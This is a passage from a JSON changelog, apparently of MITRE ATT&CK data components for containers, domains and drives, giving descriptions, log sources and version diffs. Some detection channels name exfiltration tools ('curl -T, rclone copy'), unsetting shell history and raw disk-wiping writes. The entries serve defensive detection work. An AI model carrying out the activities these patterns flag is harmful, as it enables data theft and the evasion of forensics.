{\"name\": \"auditd:SYSCALL\", \"channel\": \"execve calls modifying HISTFILE or HISTCONTROL via unset/export\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Set or unset HIST* variables in shell environment\"}, {\"name\": \"esxi:shell\", \"channel\": \"unset HISTFILE or HISTFILESIZE modifications\"}, {\"name\": \"networkdevice:cli\", \"channel\": \"Commands like 'no logging' or equivalents that disable session history\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve calls to /usr/bin/locale or shell execution of $LANG\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"defaults read -g AppleLocale or systemsetup -gettimezone\"}, {\"name\": \"networkdevice:cli\", \"channel\": \"Execution of commands such as 'copy tftp flash', 'boot system ', 'reload'\"}, {\"name\": \"auditd:EXECVE\", \"channel\": \"curl -T, rclone copy\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execution of systemctl or service with enable/start/modify\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"launchctl load/unload or plist file modification\"}, {\"name\": \"networkdevice:syslog\", \"channel\": \"syslog facility LOCAL7 or trap messages\"}, {\"name\": \"linux:cli\", \"channel\": \"/home/*/.bash_history\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve: Execution of lsmod, modinfo, or cat /proc/modules\"}, {\"name\": \"networkdevice:config\", \"channel\": \"Configuration changes referencing 'boot system tftp' or modification of startup-config pointing to external TFTP servers\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"dscl . -create\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Execution of commands like `ls -l@`, `xattr -l`, or custom tools interacting with resource forks\"}, {\"name\": \"esxi:vpxd\", \"channel\": \"vCenter Management\"}]}, \"dictionary_item_removed\": {\"root['x_mitre_data_source_ref']\": \"x-mitre-data-source--73691708-ffb5-4e29-906d-f485f6fa7089\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:14:34.849000+00:00\", \"old_value\": \"2025-04-18 15:11:30.145000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.2\"}}}", + "previous_version": "1.2", + "version_change": "1.2 \u2192 2.0" + }, + { + "type": "x-mitre-data-component", + "id": "x-mitre-data-component--a5ae90ca-0c4b-481c-959f-0eb18a7ff953", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.274000+00:00", + "modified": "2025-10-21 15:14:37.681000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datacomponents/DC0072", + "external_id": "DC0072" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Container Creation", + "description": "\"Container Creation\" data component captures details about the initial construction of a container in a containerized environment. This includes events where a new container is instantiated, such as through Docker, Kubernetes, or other container orchestration platforms. Monitoring these events helps detect unauthorized or potentially malicious container creation. Examples:\n\n- Docker Example: `docker create my-container`, `docker run --name=my-container nginx:latest`\n- Kubernetes Example: `kubectl run my-pod --image=nginx`, `kubectl create deployment my-deployment --image=nginx`\n- Cloud Container Services Example\n - AWS ECS: Task or service creation (`RunTask` or `CreateService`).\n - Azure Container Instances: Deployment of a container group.\n - Google Kubernetes Engine (GKE): Creation of new pods via GCP APIs.\n\nThis data component can be collected through the following measures:\n\n- Docker Audit Logging: Enable Docker daemon logging to capture `create` commands. Configure the Docker daemon to use a log driver such as `syslog` or `json-file`.\n- Kubernetes Audit Logs: Enable Kubernetes API server audit logging:\n- Cloud Provider Logs\n - AWS CloudTrail: Enable logging for ECS `RunTask` or `CreateService` events.\n - Azure Monitor: Enable activity logging for container group creation.\n - GCP Cloud Logging: Monitor API calls such as `container.projects.zones.clusters.create`.\n- SIEM Integration: Use a SIEM to collect logs from Docker, Kubernetes, or cloud platforms.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_log_sources": [ + { + "name": "kubernetes:apiserver", + "channel": "create/exec: Kubernetes API calls to exec into containers or create pods from curl, kubectl, or SDK clients" + }, + { + "name": "kubernetes:events", + "channel": "container start/stop activity via Docker, containerd, or CRI-O" + }, + { + "name": "docker:daemon", + "channel": "container create/start with privileged flag or host volume mount" + }, + { + "name": "kubernetes:audit", + "channel": "create: Pod/Container created with image tag 'latest' or mutable tag; imagePullPolicy=Always; noDigest=true" + }, + { + "name": "systemd:unit", + "channel": "container run with restart policy set to 'always' or 'unless-stopped'" + }, + { + "name": "docker:events", + "channel": "created,started: new container from untrusted registry or unexpected entrypoint" + }, + { + "name": "containerd:events", + "channel": "create" + }, + { + "name": "docker:events", + "channel": "docker run with restart=always or modifying init" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references']\": [{\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/datacomponents/DC0072\", \"external_id\": \"DC0072\"}], \"root['x_mitre_log_sources']\": [{\"name\": \"kubernetes:apiserver\", \"channel\": \"create/exec: Kubernetes API calls to exec into containers or create pods from curl, kubectl, or SDK clients\"}, {\"name\": \"kubernetes:events\", \"channel\": \"container start/stop activity via Docker, containerd, or CRI-O\"}, {\"name\": \"docker:daemon\", \"channel\": \"container create/start with privileged flag or host volume mount\"}, {\"name\": \"kubernetes:audit\", \"channel\": \"create: Pod/Container created with image tag 'latest' or mutable tag; imagePullPolicy=Always; noDigest=true\"}, {\"name\": \"systemd:unit\", \"channel\": \"container run with restart policy set to 'always' or 'unless-stopped'\"}, {\"name\": \"docker:events\", \"channel\": \"created,started: new container from untrusted registry or unexpected entrypoint\"}, {\"name\": \"containerd:events\", \"channel\": \"create\"}, {\"name\": \"docker:events\", \"channel\": \"docker run with restart=always or modifying init\"}]}, \"dictionary_item_removed\": {\"root['x_mitre_data_source_ref']\": \"x-mitre-data-source--072ec5a7-00ba-466f-9057-69751a22a967\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:14:37.681000+00:00\", \"old_value\": \"2025-04-18 15:14:30.196000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.1\"}}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 2.0" + }, + { + "type": "x-mitre-data-component", + "id": "x-mitre-data-component--91b3ed33-d1b5-4c4b-a896-76c55eb3cfd8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.274000+00:00", + "modified": "2025-10-21 15:14:40.609000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datacomponents/DC0091", + "external_id": "DC0091" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Container Enumeration", + "description": "\"Container Enumeration\" data component captures events and actions related to listing and identifying active or available containers within a containerized environment. This includes information about running, stopped, or configured containers, such as their names, IDs, statuses, or associated images. Monitoring this activity is crucial for detecting unauthorized discovery or reconnaissance efforts. Examples: \n\n- Docker Example: `docker ps`, `docker ps -a`\n- Kubernetes Example: `kubectl get pods`, `kubectl get deployments`\n- Cloud Container Services Example\n - AWS ECS: API Call: ListTasks or ListContainers\n - Azure Kubernetes Service: API Call: List pod or container instances.\n - Google Kubernetes Engine (GKE): API Call: Retrieve deployments and their associated containers.\n\nThis data component can be collected through the following measures:\n\n- Docker Audit Logging: Enable Docker daemon logging to capture enumeration commands. Use tools like auditd to monitor terminal activity involving docker ps or similar commands.\n- Kubernetes Audit Logs: Enable Kubernetes API server audit logging. Capture events where users query resources such as pods, deployments, or services.\n- Cloud Provider Logs\n - AWS CloudTrail: Enable logging for API calls like ListTasks or DescribeTasks.\n - Azure Monitor: Enable activity logging to track container-related queries.\n - GCP Cloud Logging: Track API events involving container enumerations or deployments.\n- SIEM Integration: Collect logs from Docker, Kubernetes, and cloud services for centralized analysis.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_log_sources": [ + { + "name": "docker:daemon", + "channel": "docker ps, docker inspect, or docker images commands" + }, + { + "name": "AWS:CloudTrail", + "channel": "DescribeCluster, ListClusters, ListNodegroups" + }, + { + "name": "containerd:runtime", + "channel": "e.g., containerd, Docker events" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references']\": [{\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/datacomponents/DC0091\", \"external_id\": \"DC0091\"}], \"root['x_mitre_log_sources']\": [{\"name\": \"docker:daemon\", \"channel\": \"docker ps, docker inspect, or docker images commands\"}, {\"name\": \"AWS:CloudTrail\", \"channel\": \"DescribeCluster, ListClusters, ListNodegroups\"}, {\"name\": \"containerd:runtime\", \"channel\": \"e.g., containerd, Docker events\"}]}, \"dictionary_item_removed\": {\"root['x_mitre_data_source_ref']\": \"x-mitre-data-source--072ec5a7-00ba-466f-9057-69751a22a967\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:14:40.609000+00:00\", \"old_value\": \"2025-04-18 15:14:36.677000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.1\"}}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 2.0" + }, + { + "type": "x-mitre-data-component", + "id": "x-mitre-data-component--5fe82895-28e5-4aac-845e-dc886b63be2e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.274000+00:00", + "modified": "2025-10-21 15:14:37.615000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datacomponents/DC0077", + "external_id": "DC0077" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Container Start", + "description": "\"Container Start\" data component captures events related to the activation or invocation of a container within a containerized environment. This includes starting a previously stopped container, restarting an existing container, or initializing a container for runtime. Monitoring these activities is critical for identifying unauthorized or unexpected container activations, which may indicate potential adversarial activity or misconfigurations. Examples: \n\n- Docker Example: `docker start `, `docker restart `\n- Kubernetes Example: Kubernetes automatically restarts containers as part of pod lifecycle management (e.g., due to health checks or configuration changes).\n- Cloud-Native Example\n - AWS ECS: API Call: StartTask to activate a stopped ECS task.\n - Azure Container Instances: Command to restart a container group instance.\n - GCP Kubernetes Engine: Automatic restarts as part of node or pod management.\n\nThis data component can be collected through the following measures:\n\n- Docker Audit Logging: Enable Docker logging to capture start and restart events. Use tools like auditd to monitor terminal activity involving container lifecycle commands.\n- Kubernetes Audit Logs: Enable Kubernetes API server audit logging.\n- Cloud Provider Logs\n - AWS CloudTrail: Capture StartTask or related API calls for ECS.\n - Azure Monitor: Track activity in container groups that indicate start or restart events.\n - GCP Cloud Logging: Record logs related to pod restarts or scaling events in Kubernetes Engine.\n- SIEM Integration: Collect logs from Docker, Kubernetes, and cloud services to correlate container start events.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_log_sources": [ + { + "name": "docker:events", + "channel": "exec_create: docker exec events targeting running containers from non-CI sources" + }, + { + "name": "kubernetes:events", + "channel": "start: ContainerStarted or Pulling image \u2192 Started container" + }, + { + "name": "containerd:runtime", + "channel": "CRI CreateContainer/StartContainer with privileged=true OR added capabilities OR host* namespaces" + }, + { + "name": "docker:events", + "channel": "start" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references']\": [{\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/datacomponents/DC0077\", \"external_id\": \"DC0077\"}], \"root['x_mitre_log_sources']\": [{\"name\": \"docker:events\", \"channel\": \"exec_create: docker exec events targeting running containers from non-CI sources\"}, {\"name\": \"kubernetes:events\", \"channel\": \"start: ContainerStarted or Pulling image \\u2192 Started container\"}, {\"name\": \"containerd:runtime\", \"channel\": \"CRI CreateContainer/StartContainer with privileged=true OR added capabilities OR host* namespaces\"}, {\"name\": \"docker:events\", \"channel\": \"start\"}]}, \"dictionary_item_removed\": {\"root['x_mitre_data_source_ref']\": \"x-mitre-data-source--072ec5a7-00ba-466f-9057-69751a22a967\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:14:37.615000+00:00\", \"old_value\": \"2025-04-18 15:14:33.436000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.1\"}}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 2.0" + }, + { + "type": "x-mitre-data-component", + "id": "x-mitre-data-component--ff9b665a-598b-4bcb-8b2a-a87566aa1256", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.275000+00:00", + "modified": "2025-10-21 15:14:40.288000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datacomponents/DC0101", + "external_id": "DC0101" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Domain Registration", + "description": "\"Domain Name: Domain Registration\" data component captures information about the assignment, ownership, and metadata of domain names. This information is often sourced from registries like WHOIS and includes details such as registrant names, contact information, registration dates, expiration dates, and registrar details. This data is invaluable for tracking domain ownership, detecting malicious domain registrations, and identifying trends in adversary behavior. Examples: \n\n- Registrant Information: WHOIS lookup of example.com \n- Registration and Expiration Dates: A domain registered a week before being used in phishing attacks.\n- Domain Status: Status codes like clientTransferProhibited or serverHold indicate domain restrictions or potential hijacking activity.\n- Name Server Information: Name servers point to a public DNS provider often associated with malicious campaigns.\n- Privacy Protection: A domain uses WHOIS privacy protection to hide registrant details.\n\nThis data component can be collected through the following measures:\n\n- WHOIS Services: Use tools or services to perform WHOIS lookups:\n- WHOIS APIs: Automate domain registration lookups with APIs:\n- Registrar Platforms: Directly query domain registrars (e.g., GoDaddy, Namecheap) for detailed registration data.\n- Threat Intelligence Platforms: Integrate domain registration data from services like Recorded Future, RiskIQ, or PassiveTotal for enriched analysis.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_log_sources": [ + { + "name": "Domain Name", + "channel": "None" + }, + { + "name": "dns:query", + "channel": "Excessive lookups for domains with suspicious WHOIS or short TTL values" + }, + { + "name": "esxi:vmkernel", + "channel": "DNS lookups resolving to domains with rapid changes in registration metadata" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references']\": [{\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/datacomponents/DC0101\", \"external_id\": \"DC0101\"}], \"root['x_mitre_log_sources']\": [{\"name\": \"Domain Name\", \"channel\": \"None\"}, {\"name\": \"dns:query\", \"channel\": \"Excessive lookups for domains with suspicious WHOIS or short TTL values\"}, {\"name\": \"esxi:vmkernel\", \"channel\": \"DNS lookups resolving to domains with rapid changes in registration metadata\"}]}, \"dictionary_item_removed\": {\"root['x_mitre_data_source_ref']\": \"x-mitre-data-source--dd75f457-8dc0-4a24-9ae5-4b61c33af866\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:14:40.288000+00:00\", \"old_value\": \"2025-04-18 15:16:34.616000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.1\"}}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 2.0" + }, + { + "type": "x-mitre-data-component", + "id": "x-mitre-data-component--73ff2dcc-24b1-4368-b9dc-706dd9e68354", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.273000+00:00", + "modified": "2025-10-21 15:14:38.086000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datacomponents/DC0054", + "external_id": "DC0054" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Drive Access", + "description": "Refers to the act of accessing a data storage device, such as a hard drive, SSD, USB, or network-mounted drive. This data component logs the opening or mounting of drives, capturing activities such as reading, writing, or executing files within an assigned drive letter (e.g., `C:\\`, `/mnt/drive`) or mount point. Examples: \n\n- Removable Drive Insertion: A USB drive is inserted, assigned the letter `F:\\`, and files are accessed.\n- Network Drive Mounting: A network share `\\\\server\\share` is mapped to the drive `Z:\\`.\n- External Hard Drive Access: An external drive is connected, mounted at `/mnt/backup`, and accessed for copying files.\n- System Volume Access: The system volume `C:\\` is accessed for modifications to critical files.\n- Cloud-Synced Drives: Cloud storage drives like OneDrive or Google Drive are accessed via local mounts.\n\nThis data component can be collected through the following measures:\n\nWindows Event Logs\n- Relevant Events:\n - Event ID 4663: Logs access to file or folder objects.\n - Event ID 4656: Tracks a handle to an object like a drive or file.\n- Configuration:\n - Enable auditing for \"Object Access\" in Local Security Policy.\n - Use Group Policy for broader deployment: `Computer Configuration > Windows Settings > Security Settings > Advanced Audit Policy Configuration > Object Access`\n\nLinux System Logs\n\n- Command-Line Monitoring: Use the `dmesg` or `journalctl` command to monitor drive mount/unmount events.\n- Auditd Configuration: Add an audit rule for drive access: `auditctl -w /mnt/drive -p rwxa -k drive_access`\n- Review logs via `/var/log/audit/audit.log`.\n\nmacOS System Logs\n\n- Command-Line Monitoring: Use `diskutil list` or `fs_usage` to monitor drive access and mount points.\n- Unified Logs: Query unified logs using log show for drive-related activities: `log show --info | grep \"mount\"`\n\nEndpoint Detection and Response (EDR) Tools\n\n- Use EDR solutions to monitor drive activities and collect detailed forensic data.\n\nSIEM Tools\n\n- Ingest logs from endpoints to detect drive access patterns. Configure rules to alert on unusual or unauthorized drive access.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_log_sources": [ + { + "name": "WinEventLog:Sysmon", + "channel": "EventCode=9" + }, + { + "name": "auditd:SYSCALL", + "channel": "open/write syscalls on /dev/sd* or /dev/nvme*" + }, + { + "name": "auditd:SYSCALL", + "channel": "write syscalls to /dev/sd* targeting offset 0" + }, + { + "name": "auditd:SYSCALL", + "channel": "open/write syscalls to block devices (/dev/sd*, /dev/nvme*)" + }, + { + "name": "linux:syslog", + "channel": "mount/umount or file copy logs" + }, + { + "name": "fs:fsusage", + "channel": "open/read/mount operations" + }, + { + "name": "linux:osquery", + "channel": "hardware_events" + }, + { + "name": "macos:osquery", + "channel": "usb_devices" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references']\": [{\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/datacomponents/DC0054\", \"external_id\": \"DC0054\"}], \"root['x_mitre_log_sources']\": [{\"name\": \"WinEventLog:Sysmon\", \"channel\": \"EventCode=9\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"open/write syscalls on /dev/sd* or /dev/nvme*\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"write syscalls to /dev/sd* targeting offset 0\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"open/write syscalls to block devices (/dev/sd*, /dev/nvme*)\"}, {\"name\": \"linux:syslog\", \"channel\": \"mount/umount or file copy logs\"}, {\"name\": \"fs:fsusage\", \"channel\": \"open/read/mount operations\"}, {\"name\": \"linux:osquery\", \"channel\": \"hardware_events\"}, {\"name\": \"macos:osquery\", \"channel\": \"usb_devices\"}]}, \"dictionary_item_removed\": {\"root['x_mitre_data_source_ref']\": \"x-mitre-data-source--61bbbf27-f7c3-46ba-a6bc-48ae76928065\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:14:38.086000+00:00\", \"old_value\": \"2025-04-18 15:12:42.387000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.1\"}}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 2.0" + }, + { + "type": "x-mitre-data-component", + "id": "x-mitre-data-component--3d6e6b3b-4aa8-40e1-8c47-91db0f313d9f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.273000+00:00", + "modified": "2025-10-21 15:14:37.342000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datacomponents/DC0042", + "external_id": "DC0042" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Drive Creation", + "description": "The activity of assigning a new drive letter or creating a mount point for a data storage device, such as a USB, network share, or external hard drive, enabling access to its content on a host system. Examples: \n\n- USB Drive Insertion: A USB drive is plugged in and automatically assigned the letter `E:\\` on a Windows machine.\n- Network Drive Mapping: A network share `\\\\server\\share` is mapped to the drive `Z:\\`.\n- Virtual Drive Creation: A virtual disk is mounted on `/mnt/virtualdrive` using an ISO image or a virtual hard disk (VHD).\n- Cloud Storage Mounting: Google Drive is mounted as `G:\\` on a Windows machine using a cloud sync tool.\n- External Storage Integration: An external HDD or SSD is connected and assigned `/mnt/external` on a Linux system.\n\nThis data component can be collected through the following measures:\n\nWindows Event Logs\n\n- Relevant Events:\n - Event ID 98: Logs the creation of a volume (mount or new drive letter assignment).\n - Event ID 1006: Logs removable storage device insertions.\n- Configuration: Enable \"Removable Storage Events\" in the Group Policy settings:\n`Computer Configuration > Administrative Templates > System > Removable Storage Access`\n\nLinux System Logs\n\n- Command-Line Monitoring: Use `dmesg` or `journalctl` to monitor mount events.\n\n- Auditd Configuration: Add audit rules to track mount points.\n- Logs can be reviewed in /var/log/audit/audit.log.\n\nmacOS System Logs\n\n- Unified Logs: Monitor system logs for mount activity:\n- Command-Line Tools: Use `diskutil list` to verify newly created or mounted drives.\n\nEndpoint Detection and Response (EDR) Tools\n\n- EDR solutions can log removable drive usage and network-mounted drives. Configure EDR policies to alert on suspicious drive creation events.\n\nSIEM Tools\n\n- Centralize logs from multiple platforms into a SIEM (e.g., Splunk) to correlate and alert on suspicious drive creation activities.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_log_sources": [ + { + "name": "Drive", + "channel": "None" + }, + { + "name": "WinEventLog:System", + "channel": "Kernel-PnP 410/400 device install, disk added" + }, + { + "name": "auditd:SYSCALL", + "channel": "mknod,open,openat" + }, + { + "name": "macos:unifiedlog", + "channel": "mounted|appeared|DA: disk* attached" + }, + { + "name": "WinEventLog:Microsoft-Windows-Partition/Diagnostic", + "channel": "EventCode=1006" + }, + { + "name": "auditd:SYSCALL", + "channel": "Removable media mount notification" + }, + { + "name": "macos:unifiedlog", + "channel": "com.apple.diskarbitration" + }, + { + "name": "WinEventLog:System", + "channel": "EventCode=1006,10001" + }, + { + "name": "auditd:SYSCALL", + "channel": "device event logs" + }, + { + "name": "linux:osquery", + "channel": "mount_events" + }, + { + "name": "macos:unifiedlog", + "channel": "Volume Mount + File Read" + }, + { + "name": "WinEventLog:Microsoft-Windows-DriverFrameworks-UserMode/Operational", + "channel": "EventCode=2003" + }, + { + "name": "auditd:SYSCALL", + "channel": "udev events or drive enumeration involving TinyPilot paths or device classes" + }, + { + "name": "linux:syslog", + "channel": "Device attach logs containing TinyPilot/PiKVM identifiers" + }, + { + "name": "macos:unifiedlog", + "channel": "Hardware enumeration events via IOKit or USBMuxd showing TinyPilot or unknown keyboard/mouse" + }, + { + "name": "WinEventLog:System", + "channel": "EventCode=2003" + }, + { + "name": "auditd:SYSCALL", + "channel": "Kernel Device Events - USB Block Devices" + }, + { + "name": "maos:osquery", + "channel": "mount_events" + }, + { + "name": "macos:unifiedlog", + "channel": "Volume Mount + Process Trace + File Read" + }, + { + "name": "WinEventLog:System", + "channel": "EventCode=20001/20003" + }, + { + "name": "journald:systemd", + "channel": "udisks2 or udevd logs" + }, + { + "name": "macos:unifiedlog", + "channel": "log stream --predicate 'eventMessage contains \"USBMSC\"'" + }, + { + "name": "WinEventLog:System", + "channel": "20001-20003" + }, + { + "name": "linux:syslog", + "channel": "New HID device enumeration with type 'keyboard' followed by immediate input injection" + }, + { + "name": "macos:unifiedlog", + "channel": "New IOUSB keyboard/HID device enumerated with suspicious attributes" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "ics-attack", + "enterprise-attack" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references']\": [{\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/datacomponents/DC0042\", \"external_id\": \"DC0042\"}], \"root['x_mitre_log_sources']\": [{\"name\": \"Drive\", \"channel\": \"None\"}, {\"name\": \"WinEventLog:System\", \"channel\": \"Kernel-PnP 410/400 device install, disk added\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"mknod,open,openat\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"mounted|appeared|DA: disk* attached\"}, {\"name\": \"WinEventLog:Microsoft-Windows-Partition/Diagnostic\", \"channel\": \"EventCode=1006\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"Removable media mount notification\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"com.apple.diskarbitration\"}, {\"name\": \"WinEventLog:System\", \"channel\": \"EventCode=1006,10001\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"device event logs\"}, {\"name\": \"linux:osquery\", \"channel\": \"mount_events\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Volume Mount + File Read\"}, {\"name\": \"WinEventLog:Microsoft-Windows-DriverFrameworks-UserMode/Operational\", \"channel\": \"EventCode=2003\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"udev events or drive enumeration involving TinyPilot paths or device classes\"}, {\"name\": \"linux:syslog\", \"channel\": \"Device attach logs containing TinyPilot/PiKVM identifiers\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Hardware enumeration events via IOKit or USBMuxd showing TinyPilot or unknown keyboard/mouse\"}, {\"name\": \"WinEventLog:System\", \"channel\": \"EventCode=2003\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"Kernel Device Events - USB Block Devices\"}, {\"name\": \"maos:osquery\", \"channel\": \"mount_events\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Volume Mount + Process Trace + File Read\"}, {\"name\": \"WinEventLog:System\", \"channel\": \"EventCode=20001/20003\"}, {\"name\": \"journald:systemd\", \"channel\": \"udisks2 or udevd logs\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"log stream --predicate 'eventMessage contains \\\"USBMSC\\\"'\"}, {\"name\": \"WinEventLog:System\", \"channel\": \"20001-20003\"}, {\"name\": \"linux:syslog\", \"channel\": \"New HID device enumeration with type 'keyboard' followed by immediate input injection\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"New IOUSB keyboard/HID device enumerated with suspicious attributes\"}]}, \"dictionary_item_removed\": {\"root['x_mitre_data_source_ref']\": \"x-mitre-data-source--61bbbf27-f7c3-46ba-a6bc-48ae76928065\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:14:37.342000+00:00\", \"old_value\": \"2025-04-18 15:12:36.536000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.1\"}}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 2.0" + }, + { + "type": "x-mitre-data-component", + "id": "x-mitre-data-component--4dcd8ba3-2075-4f8b-941e-39884ffaac08", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.273000+00:00", + "modified": "2025-10-22 19:03:17.198000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/data-components/DC0046", + "external_id": "DC0046" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Drive Modification", + "description": "The alteration of a drive letter, 